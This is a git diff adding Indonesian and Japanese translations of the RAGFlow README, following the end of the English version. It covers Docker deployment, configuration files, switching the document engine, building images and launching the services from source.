+> If you are on an ARM64 platform, follow [this guide](https://ragflow.io/docs/dev/build_docker_image) to build a Docker image compatible with your system.
+
+ > The command below downloads the `v0.20.5-slim` edition of the RAGFlow Docker image. See the following table for descriptions of different RAGFlow editions. To download a RAGFlow edition different from `v0.20.5-slim`, update the `RAGFLOW_IMAGE` variable accordingly in **docker/.env** before using `docker compose` to start the server. For example: set `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` for the full edition `v0.20.5`.
+
+ ```bash
+ $ cd ragflow/docker
+ # Use CPU for embedding and DeepDoc tasks:
+ $ docker compose -f docker-compose.yml up -d
+
+ # To use GPU to accelerate embedding and DeepDoc tasks:
+ # docker compose -f docker-compose-gpu.yml up -d
+ ```
+
+ | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? |
+ |-------------------|-----------------|-----------------------|--------------------------|
+ | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release |
+ | v0.20.5-slim | ≈2 | ❌ | Stable release |
+ | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build |
+ | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build |
+
+4. Check the server status after having the server up and running:
+
+ ```bash
+ $ docker logs -f ragflow-server
+ ```
+
+ _The following output confirms a successful launch of the system:_
+
+ ```bash
+
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ * Running on all addresses (0.0.0.0)
+ ```
+
+ > If you skip this confirmation step and directly log in to RAGFlow, your browser may prompt a `network anormal`
+ > error because, at that moment, your RAGFlow may not be fully initialized.
+
+5. In your web browser, enter the IP address of your server and log in to RAGFlow.
+ > With the default settings, you only need to enter `http://IP_OF_YOUR_MACHINE` (**sans** port number) as the default
+ > HTTP serving port `80` can be omitted when using the default configurations.
+6. In [service_conf.yaml.template](./docker/service_conf.yaml.template), select the desired LLM factory in `user_default_llm` and update
+ the `API_KEY` field with the corresponding API key.
+
+ > See [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) for more information.
+
+ _The show is on!_
+
+## 🔧 Configurations
+
+When it comes to system configurations, you will need to manage the following files:
+
+- [.env](./docker/.env): Keeps the fundamental setups for the system, such as `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, and
+ `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configures the back-end services. The environment variables in this file will be automatically populated when the Docker container starts. Any environment variables set within the Docker container will be available for use, allowing you to customize service behavior based on the deployment environment.
+- [docker-compose.yml](./docker/docker-compose.yml): The system relies on [docker-compose.yml](./docker/docker-compose.yml) to start up.
+
+> The [./docker/README](./docker/README.md) file provides a detailed description of the environment settings and service
+> configurations which can be used as `${ENV_VARS}` in the [service_conf.yaml.template](./docker/service_conf.yaml.template) file.
+
+To update the default HTTP serving port (80), go to [docker-compose.yml](./docker/docker-compose.yml) and change `80:80`
+to `:80`.
+
+Updates to the above configurations require a reboot of all containers to take effect:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Switch doc engine from Elasticsearch to Infinity
+
+RAGFlow uses Elasticsearch by default for storing full text and vectors. To switch to [Infinity](https://github.com/infiniflow/infinity/), follow these steps:
+
+1. Stop all running containers:
+
+ ```bash
+ $ docker compose -f docker/docker-compose.yml down -v
+ ```
+
+> [!WARNING]
+> `-v` will delete the docker container volumes, and the existing data will be cleared.
+
+2. Set `DOC_ENGINE` in **docker/.env** to `infinity`.
+
+3. Start the containers:
+
+ ```bash
+ $ docker compose -f docker-compose.yml up -d
+ ```
+
+> [!WARNING]
+> Switching to Infinity on a Linux/arm64 machine is not yet officially supported.
+
+## 🔧 Build a Docker image without embedding models
+
+This image is approximately 2 GB in size and relies on external LLM and embedding services.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 Build a Docker image including embedding models
+
+This image is approximately 9 GB in size. As it includes embedding models, it relies on external LLM services only.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Launch service from source for development
+
+1. Install `uv` and `pre-commit`, or skip this step if they are already installed:
+
+ ```bash
+ pipx install uv pre-commit
+ ```
+
+2. Clone the source code and install Python dependencies:
+
+ ```bash
+ git clone https://github.com/infiniflow/ragflow.git
+ cd ragflow/
+ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+ uv run download_deps.py
+ pre-commit install
+ ```
+
+3. Launch the dependent services (MinIO, Elasticsearch, Redis, and MySQL) using Docker Compose:
+
+ ```bash
+ docker compose -f docker/docker-compose-base.yml up -d
+ ```
+
+ Add the following line to `/etc/hosts` to resolve all hosts specified in **docker/.env** to `127.0.0.1`:
+
+ ```
+ 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+ ```
+
+4. If you cannot access HuggingFace, set the `HF_ENDPOINT` environment variable to use a mirror site:
+
+ ```bash
+ export HF_ENDPOINT=https://hf-mirror.com
+ ```
+
+5. If your operating system does not have jemalloc, please install it as follows:
+
+ ```bash
+ # Ubuntu
+ sudo apt-get install libjemalloc-dev
+ # CentOS
+ sudo yum install jemalloc
+ # OpenSUSE
+ sudo zypper install jemalloc
+ # macOS
+ sudo brew install jemalloc
+ ```
+
+6. Launch backend service:
+
+ ```bash
+ source .venv/bin/activate
+ export PYTHONPATH=$(pwd)
+ bash docker/launch_backend_service.sh
+ ```
+
+7. Install frontend dependencies:
+
+ ```bash
+ cd web
+ npm install
+ ```
+
+8. Launch frontend service:
+
+ ```bash
+ npm run dev
+ ```
+
+ _The following output confirms a successful launch of the system:_
+
+ 
+
+9. Stop RAGFlow front-end and back-end service after development is complete:
+
+ ```bash
+ pkill -f "ragflow_server.py|task_executor.py"
+ ```
+
+
+## 📚 Documentation
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/dev/category/guides)
+- [Developer guides](https://ragflow.io/docs/dev/category/developers)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+See the [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214)
+
+## 🏄 Community
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Contributing
+
+RAGFlow flourishes via open-source collaboration. In this spirit, we embrace diverse contributions from the community.
+If you would like to be a part, review our [Contribution Guidelines](https://ragflow.io/docs/dev/contributing) first.
diff --git a/README_id.md b/README_id.md
new file mode 100644
index 0000000..e1f4cf2
--- /dev/null
+++ b/README_id.md
@@ -0,0 +1,375 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+
+
+📕 Daftar Isi
+
+- 💡 [Apa Itu RAGFlow?](#-apa-itu-ragflow)
+- 🎮 [Demo](#-demo)
+- 📌 [Pembaruan Terbaru](#-pembaruan-terbaru)
+- 🌟 [Fitur Utama](#-fitur-utama)
+- 🔎 [Arsitektur Sistem](#-arsitektur-sistem)
+- 🎬 [Mulai](#-mulai)
+- 🔧 [Konfigurasi](#-konfigurasi)
+- 🔧 [Membangun Image Docker tanpa Model Embedding](#-membangun-image-docker-tanpa-model-embedding)
+- 🔧 [Membangun Image Docker dengan Model Embedding](#-membangun-image-docker-dengan-model-embedding)
+- 🔨 [Meluncurkan aplikasi dari Sumber untuk Pengembangan](#-meluncurkan-aplikasi-dari-sumber-untuk-pengembangan)
+- 📚 [Dokumentasi](#-dokumentasi)
+- 📜 [Peta Jalan](#-peta-jalan)
+- 🏄 [Komunitas](#-komunitas)
+- 🙌 [Kontribusi](#-kontribusi)
+
+
+
+## 💡 Apa Itu RAGFlow?
+
+[RAGFlow](https://ragflow.io/) adalah mesin RAG (Retrieval-Augmented Generation) open-source terkemuka yang mengintegrasikan teknologi RAG mutakhir dengan kemampuan Agent untuk menciptakan lapisan kontekstual superior bagi LLM. Menyediakan alur kerja RAG yang efisien dan dapat diadaptasi untuk perusahaan segala skala. Didukung oleh mesin konteks terkonvergensi dan template Agent yang telah dipra-bangun, RAGFlow memungkinkan pengembang mengubah data kompleks menjadi sistem AI kesetiaan-tinggi dan siap-produksi dengan efisiensi dan presisi yang luar biasa.
+
+## 🎮 Demo
+
+Coba demo kami di [https://demo.ragflow.io](https://demo.ragflow.io).
+
+
+
+
+
+
+## 🔥 Pembaruan Terbaru
+
+- 2025-08-08 Mendukung model seri GPT-5 terbaru dari OpenAI.
+- 2025-08-04 Mendukung model baru, termasuk Kimi K2 dan Grok 4.
+- 2025-08-01 Mendukung alur kerja agen dan MCP.
+- 2025-05-23 Menambahkan komponen pelaksana kode Python/JS ke Agen.
+- 2025-05-05 Mendukung kueri lintas bahasa.
+- 2025-03-19 Mendukung penggunaan model multi-modal untuk memahami gambar di dalam file PDF atau DOCX.
+- 2025-02-28 dikombinasikan dengan pencarian Internet (TAVILY), mendukung penelitian mendalam untuk LLM apa pun.
+- 2024-12-18 Meningkatkan model Analisis Tata Letak Dokumen di DeepDoc.
+- 2024-08-22 Dukungan untuk teks ke pernyataan SQL melalui RAG.
+
+## 🎉 Tetap Terkini
+
+⭐️ Star repositori kami untuk tetap mendapat informasi tentang fitur baru dan peningkatan menarik! 🌟
+
+
+
+
+
+## 🌟 Fitur Utama
+
+### 🍭 **"Kualitas Masuk, Kualitas Keluar"**
+
+- Ekstraksi pengetahuan berbasis pemahaman dokumen mendalam dari data tidak terstruktur dengan format yang rumit.
+- Menemukan "jarum di tumpukan data" dengan token yang hampir tidak terbatas.
+
+### 🍱 **Pemotongan Berbasis Template**
+
+- Cerdas dan dapat dijelaskan.
+- Banyak pilihan template yang tersedia.
+
+### 🌱 **Referensi yang Didasarkan pada Data untuk Mengurangi Hallusinasi**
+
+- Visualisasi pemotongan teks memungkinkan intervensi manusia.
+- Tampilan cepat referensi kunci dan referensi yang dapat dilacak untuk mendukung jawaban yang didasarkan pada fakta.
+
+### 🍔 **Kompatibilitas dengan Sumber Data Heterogen**
+
+- Mendukung Word, slide, excel, txt, gambar, salinan hasil scan, data terstruktur, halaman web, dan banyak lagi.
+
+### 🛀 **Alur Kerja RAG yang Otomatis dan Mudah**
+
+- Orkestrasi RAG yang ramping untuk bisnis kecil dan besar.
+- LLM yang dapat dikonfigurasi serta model embedding.
+- Peringkat ulang berpasangan dengan beberapa pengambilan ulang.
+- API intuitif untuk integrasi yang mudah dengan bisnis.
+
+## 🔎 Arsitektur Sistem
+
+
+
+
+
+## 🎬 Mulai
+
+### 📝 Prasyarat
+
+- CPU >= 4 inti
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): Hanya diperlukan jika Anda ingin menggunakan fitur eksekutor kode (sandbox) dari RAGFlow.
+
+> [!TIP]
+> Jika Anda belum menginstal Docker di komputer lokal Anda (Windows, Mac, atau Linux), lihat [Install Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Menjalankan Server
+
+1. Pastikan `vm.max_map_count` >= 262144:
+
+ > Untuk memeriksa nilai `vm.max_map_count`:
+ >
+ > ```bash
+ > $ sysctl vm.max_map_count
+ > ```
+ >
+ > Jika nilainya kurang dari 262144, setel ulang `vm.max_map_count` ke setidaknya 262144:
+ >
+ > ```bash
+ > # Dalam contoh ini, kita atur menjadi 262144:
+ > $ sudo sysctl -w vm.max_map_count=262144
+ > ```
+ >
+ > Perubahan ini akan hilang setelah sistem direboot. Untuk membuat perubahan ini permanen, tambahkan atau perbarui nilai
+ > `vm.max_map_count` di **/etc/sysctl.conf**:
+ >
+ > ```bash
+ > vm.max_map_count=262144
+ > ```
+
+2. Clone repositori:
+
+ ```bash
+ $ git clone https://github.com/infiniflow/ragflow.git
+ ```
+
+3. Bangun image Docker pre-built dan jalankan server:
+
+> [!CAUTION]
+> Semua gambar Docker dibangun untuk platform x86. Saat ini, kami tidak menawarkan gambar Docker untuk ARM64.
+> Jika Anda menggunakan platform ARM64, [silakan gunakan panduan ini untuk membangun gambar Docker yang kompatibel dengan sistem Anda](https://ragflow.io/docs/dev/build_docker_image).
+
+> Perintah di bawah ini mengunduh edisi v0.20.5-slim dari gambar Docker RAGFlow. Silakan merujuk ke tabel berikut untuk deskripsi berbagai edisi RAGFlow. Untuk mengunduh edisi RAGFlow yang berbeda dari v0.20.5-slim, perbarui variabel RAGFLOW_IMAGE di docker/.env sebelum menggunakan docker compose untuk memulai server. Misalnya, atur RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5 untuk edisi lengkap v0.20.5.
+
+```bash
+$ cd ragflow/docker
+# Use CPU for embedding and DeepDoc tasks:
+$ docker compose -f docker-compose.yml up -d
+
+# To use GPU to accelerate embedding and DeepDoc tasks:
+# docker compose -f docker-compose-gpu.yml up -d
+```
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? |
+| ----------------- | --------------- | --------------------- | ------------------------ |
+| v0.20.5 | ≈9 | :heavy_check_mark: | Stable release |
+| v0.20.5-slim | ≈2 | ❌ | Stable release |
+| nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build |
+| nightly-slim | ≈2 | ❌ | _Unstable_ nightly build |
+
+1. Periksa status server setelah server aktif dan berjalan:
+
+ ```bash
+ $ docker logs -f ragflow-server
+ ```
+
+ _Output berikut menandakan bahwa sistem berhasil diluncurkan:_
+
+ ```bash
+
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ * Running on all addresses (0.0.0.0)
+ ```
+
+ > Jika Anda melewatkan langkah ini dan langsung login ke RAGFlow, browser Anda mungkin menampilkan error `network anormal`
+ > karena RAGFlow mungkin belum sepenuhnya siap.
+
+2. Buka browser web Anda, masukkan alamat IP server Anda, dan login ke RAGFlow.
+ > Dengan pengaturan default, Anda hanya perlu memasukkan `http://IP_DEVICE_ANDA` (**tanpa** nomor port) karena
+ > port HTTP default `80` bisa dihilangkan saat menggunakan konfigurasi default.
+3. Dalam [service_conf.yaml.template](./docker/service_conf.yaml.template), pilih LLM factory yang diinginkan di `user_default_llm` dan perbarui
+ bidang `API_KEY` dengan kunci API yang sesuai.
+
+ > Lihat [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) untuk informasi lebih lanjut.
+
+ _Sistem telah siap digunakan!_
+
+## 🔧 Konfigurasi
+
+Untuk konfigurasi sistem, Anda perlu mengelola file-file berikut:
+
+- [.env](./docker/.env): Menyimpan pengaturan dasar sistem, seperti `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, dan
+ `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Mengonfigurasi aplikasi backend.
+- [docker-compose.yml](./docker/docker-compose.yml): Sistem ini bergantung pada [docker-compose.yml](./docker/docker-compose.yml) untuk memulai.
+
+Untuk memperbarui port HTTP default (80), buka [docker-compose.yml](./docker/docker-compose.yml) dan ubah `80:80`
+menjadi `:80`.
+
+Pembaruan konfigurasi ini memerlukan reboot semua kontainer agar efektif:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+## 🔧 Membangun Docker Image tanpa Model Embedding
+
+Image ini berukuran sekitar 2 GB dan bergantung pada aplikasi LLM eksternal dan embedding.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 Membangun Docker Image Termasuk Model Embedding
+
+Image ini berukuran sekitar 9 GB. Karena sudah termasuk model embedding, ia hanya bergantung pada aplikasi LLM eksternal.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Menjalankan Aplikasi dari untuk Pengembangan
+
+1. Instal `uv` dan `pre-commit`, atau lewati langkah ini jika sudah terinstal:
+
+ ```bash
+ pipx install uv pre-commit
+ ```
+
+2. Clone kode sumber dan instal dependensi Python:
+
+ ```bash
+ git clone https://github.com/infiniflow/ragflow.git
+ cd ragflow/
+ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+ uv run download_deps.py
+ pre-commit install
+ ```
+
+3. Jalankan aplikasi yang diperlukan (MinIO, Elasticsearch, Redis, dan MySQL) menggunakan Docker Compose:
+
+ ```bash
+ docker compose -f docker/docker-compose-base.yml up -d
+ ```
+
+ Tambahkan baris berikut ke `/etc/hosts` untuk memetakan semua host yang ditentukan di **conf/service_conf.yaml** ke `127.0.0.1`:
+
+ ```
+ 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+ ```
+
+4. Jika Anda tidak dapat mengakses HuggingFace, atur variabel lingkungan `HF_ENDPOINT` untuk menggunakan situs mirror:
+
+ ```bash
+ export HF_ENDPOINT=https://hf-mirror.com
+ ```
+
+5. Jika sistem operasi Anda tidak memiliki jemalloc, instal sebagai berikut:
+
+ ```bash
+ # ubuntu
+ sudo apt-get install libjemalloc-dev
+ # centos
+ sudo yum install jemalloc
+ # mac
+ sudo brew install jemalloc
+ ```
+
+6. Jalankan aplikasi backend:
+
+ ```bash
+ source .venv/bin/activate
+ export PYTHONPATH=$(pwd)
+ bash docker/launch_backend_service.sh
+ ```
+
+7. Instal dependensi frontend:
+
+ ```bash
+ cd web
+ npm install
+ ```
+
+8. Jalankan aplikasi frontend:
+
+ ```bash
+ npm run dev
+ ```
+
+ _Output berikut menandakan bahwa sistem berhasil diluncurkan:_
+
+ 
+
+
+9. Hentikan layanan front-end dan back-end RAGFlow setelah pengembangan selesai:
+
+ ```bash
+ pkill -f "ragflow_server.py|task_executor.py"
+ ```
+
+
+## 📚 Dokumentasi
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/dev/category/guides)
+- [Developer guides](https://ragflow.io/docs/dev/category/developers)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+Lihat [Roadmap RAGFlow 2025](https://github.com/infiniflow/ragflow/issues/4214)
+
+## 🏄 Komunitas
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Kontribusi
+
+RAGFlow berkembang melalui kolaborasi open-source. Dalam semangat ini, kami menerima kontribusi dari komunitas.
+Jika Anda ingin berpartisipasi, tinjau terlebih dahulu [Panduan Kontribusi](https://ragflow.io/docs/dev/contributing).
diff --git a/README_ja.md b/README_ja.md
new file mode 100644
index 0000000..6f5432c
--- /dev/null
+++ b/README_ja.md
@@ -0,0 +1,368 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+
+## 💡 RAGFlow とは?
+
+[RAGFlow](https://ragflow.io/) は、先進的なRAG(Retrieval-Augmented Generation)技術と Agent 機能を融合し、大規模言語モデル(LLM)に優れたコンテキスト層を構築する最先端のオープンソース RAG エンジンです。あらゆる規模の企業に対応可能な合理化された RAG ワークフローを提供し、統合型コンテキストエンジンと事前構築されたAgentテンプレートにより、開発者が複雑なデータを驚異的な効率性と精度で高精細なプロダクションレディAIシステムへ変換することを可能にします。
+
+## 🎮 Demo
+
+デモをお試しください:[https://demo.ragflow.io](https://demo.ragflow.io)。
+
+
+
+
+
+
+## 🔥 最新情報
+
+- 2025-08-08 OpenAI の最新 GPT-5 シリーズモデルをサポートします。
+- 2025-08-04 新モデル、キミK2およびGrok 4をサポート。
+- 2025-08-01 エージェントワークフローとMCPをサポート。
+- 2025-05-23 エージェントに Python/JS コードエグゼキュータコンポーネントを追加しました。
+- 2025-05-05 言語間クエリをサポートしました。
+- 2025-03-19 PDFまたはDOCXファイル内の画像を理解するために、多モーダルモデルを使用することをサポートします。
+- 2025-02-28 インターネット検索 (TAVILY) と組み合わせて、あらゆる LLM の詳細な調査をサポートします。
+- 2024-12-18 DeepDoc のドキュメント レイアウト分析モデルをアップグレードします。
+- 2024-08-22 RAG を介して SQL ステートメントへのテキストをサポートします。
+
+## 🎉 続きを楽しみに
+
+⭐️ リポジトリをスター登録して、エキサイティングな新機能やアップデートを最新の状態に保ちましょう!すべての新しいリリースに関する即時通知を受け取れます! 🌟
+
+
+
+
+
+## 🌟 主な特徴
+
+### 🍭 **"Quality in, quality out"**
+
+- 複雑な形式の非構造化データからの[深い文書理解](./deepdoc/README.md)ベースの知識抽出。
+- 無限のトークンから"干し草の山の中の針"を見つける。
+
+### 🍱 **テンプレートベースのチャンク化**
+
+- 知的で解釈しやすい。
+- テンプレートオプションが豊富。
+
+### 🌱 **ハルシネーションが軽減された根拠のある引用**
+
+- 可視化されたテキストチャンキング(text chunking)で人間の介入を可能にする。
+- 重要な参考文献のクイックビューと、追跡可能な引用によって根拠ある答えをサポートする。
+
+### 🍔 **多様なデータソースとの互換性**
+
+- Word、スライド、Excel、txt、画像、スキャンコピー、構造化データ、Web ページなどをサポート。
+
+### 🛀 **自動化された楽な RAG ワークフロー**
+
+- 個人から大企業まで対応できる RAG オーケストレーション(orchestration)。
+- カスタマイズ可能な LLM とエンベッディングモデル。
+- 複数の想起と融合された再ランク付け。
+- 直感的な API によってビジネスとの統合がシームレスに。
+
+## 🔎 システム構成
+
+
+
+
+
+## 🎬 初期設定
+
+### 📝 必要条件
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): RAGFlowのコード実行(サンドボックス)機能を利用する場合のみ必要です。
+
+> [!TIP]
+> ローカルマシン(Windows、Mac、または Linux)に Docker をインストールしていない場合は、[Docker Engine のインストール](https://docs.docker.com/engine/install/) を参照してください。
+
+### 🚀 サーバーを起動
+
+1. `vm.max_map_count` >= 262144 であることを確認する:
+
+ > `vm.max_map_count` の値をチェックするには:
+ >
+ > ```bash
+ > $ sysctl vm.max_map_count
+ > ```
+ >
+ > `vm.max_map_count` が 262144 より大きい値でなければリセットする。
+ >
+ > ```bash
+ > # In this case, we set it to 262144:
+ > $ sudo sysctl -w vm.max_map_count=262144
+ > ```
+ >
+ > この変更はシステム再起動後にリセットされる。変更を恒久的なものにするには、**/etc/sysctl.conf** の `vm.max_map_count` 値を適宜追加または更新する:
+ >
+ > ```bash
+ > vm.max_map_count=262144
+ > ```
+
+2. リポジトリをクローンする:
+
+ ```bash
+ $ git clone https://github.com/infiniflow/ragflow.git
+ ```
+
+3. ビルド済みの Docker イメージをビルドし、サーバーを起動する:
+
+> [!CAUTION]
+> 現在、公式に提供されているすべての Docker イメージは x86 アーキテクチャ向けにビルドされており、ARM64 用の Docker イメージは提供されていません。
+> ARM64 アーキテクチャのオペレーティングシステムを使用している場合は、[このドキュメント](https://ragflow.io/docs/dev/build_docker_image)を参照して Docker イメージを自分でビルドしてください。
+
+ > 以下のコマンドは、RAGFlow Docker イメージの v0.20.5-slim エディションをダウンロードします。異なる RAGFlow エディションの説明については、以下の表を参照してください。v0.20.5-slim とは異なるエディションをダウンロードするには、docker/.env ファイルの RAGFLOW_IMAGE 変数を適宜更新し、docker compose を使用してサーバーを起動してください。例えば、完全版 v0.20.5 をダウンロードするには、RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5 と設定します。
+
+ ```bash
+ $ cd ragflow/docker
+ # Use CPU for embedding and DeepDoc tasks:
+ $ docker compose -f docker-compose.yml up -d
+
+ # To use GPU to accelerate embedding and DeepDoc tasks:
+ # docker compose -f docker-compose-gpu.yml up -d
+ ```
+
+ | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? |
+ | ----------------- | --------------- | --------------------- | ------------------------ |
+ | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release |
+ | v0.20.5-slim | ≈2 | ❌ | Stable release |
+ | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build |
+ | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build |
+
+1. サーバーを立ち上げた後、サーバーの状態を確認する:
+
+ ```bash
+ $ docker logs -f ragflow-server
+ ```
+
+ _以下の出力は、システムが正常に起動したことを確認するものです:_
+
+ ```bash
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ * Running on all addresses (0.0.0.0)
+ ```
+
+ > もし確認ステップをスキップして直接 RAGFlow にログインした場合、その時点で RAGFlow が完全に初期化されていない可能性があるため、ブラウザーがネットワーク異常エラーを表示するかもしれません。
+
+2. ウェブブラウザで、プロンプトに従ってサーバーの IP アドレスを入力し、RAGFlow にログインします。
+ > デフォルトの設定を使用する場合、デフォルトの HTTP サービングポート `80` は省略できるので、与えられたシナリオでは、`http://IP_OF_YOUR_MACHINE`(ポート番号は省略)だけを入力すればよい。
+3. [service_conf.yaml.template](./docker/service_conf.yaml.template) で、`user_default_llm` で希望の LLM ファクトリを選択し、`API_KEY` フィールドを対応する API キーで更新する。
+
+ > 詳しくは [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) を参照してください。
+
+ _これで初期設定完了!ショーの開幕です!_
+
+## 🔧 コンフィグ
+
+システムコンフィグに関しては、以下のファイルを管理する必要がある:
+
+- [.env](./docker/.env): `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` などのシステムの基本設定を保持する。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): バックエンドのサービスを設定します。
+- [docker-compose.yml](./docker/docker-compose.yml): システムの起動は [docker-compose.yml](./docker/docker-compose.yml) に依存している。
+
+[.env](./docker/.env) ファイルの変更が [service_conf.yaml.template](./docker/service_conf.yaml.template) ファイルの内容と一致していることを確認する必要があります。
+
+> [./docker/README](./docker/README.md) ファイル ./docker/README には、service_conf.yaml.template ファイルで ${ENV_VARS} として使用できる環境設定とサービス構成の詳細な説明が含まれています。
+
+デフォルトの HTTP サービングポート(80)を更新するには、[docker-compose.yml](./docker/docker-compose.yml) にアクセスして、`80:80` を `:80` に変更します。
+
+> すべてのシステム設定のアップデートを有効にするには、システムの再起動が必要です:
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Elasticsearch から Infinity にドキュメントエンジンを切り替えます
+
+RAGFlow はデフォルトで Elasticsearch を使用して全文とベクトルを保存します。[Infinity]に切り替え(https://github.com/infiniflow/infinity/)、次の手順に従います。
+
+1. 実行中のすべてのコンテナを停止するには:
+ ```bash
+ $ docker compose -f docker/docker-compose.yml down -v
+ ```
+ Note: `-v` は docker コンテナのボリュームを削除し、既存のデータをクリアします。
+2. **docker/.env** の「DOC \_ ENGINE」を「infinity」に設定します。
+
+3. 起動コンテナ:
+ ```bash
+ $ docker compose -f docker-compose.yml up -d
+ ```
+ > [!WARNING]
+ > Linux/arm64 マシンでの Infinity への切り替えは正式にサポートされていません。
+
+## 🔧 ソースコードで Docker イメージを作成(埋め込みモデルなし)
+
+この Docker イメージのサイズは約 1GB で、外部の大モデルと埋め込みサービスに依存しています。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 ソースコードをコンパイルした Docker イメージ(埋め込みモデルを含む)
+
+この Docker のサイズは約 9GB で、埋め込みモデルを含むため、外部の大モデルサービスのみが必要です。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 ソースコードからサービスを起動する方法
+
+1. `uv` と `pre-commit` をインストールする。すでにインストールされている場合は、このステップをスキップしてください:
+
+ ```bash
+ pipx install uv pre-commit
+ ```
+
+2. ソースコードをクローンし、Python の依存関係をインストールする:
+
+ ```bash
+ git clone https://github.com/infiniflow/ragflow.git
+ cd ragflow/
+ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+ uv run download_deps.py
+ pre-commit install
+ ```
+
+3. Docker Compose を使用して依存サービス(MinIO、Elasticsearch、Redis、MySQL)を起動する:
+
+ ```bash
+ docker compose -f docker/docker-compose-base.yml up -d
+ ```
+
+ `/etc/hosts` に以下の行を追加して、**conf/service_conf.yaml** に指定されたすべてのホストを `127.0.0.1` に解決します:
+
+ ```
+ 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+ ```
+
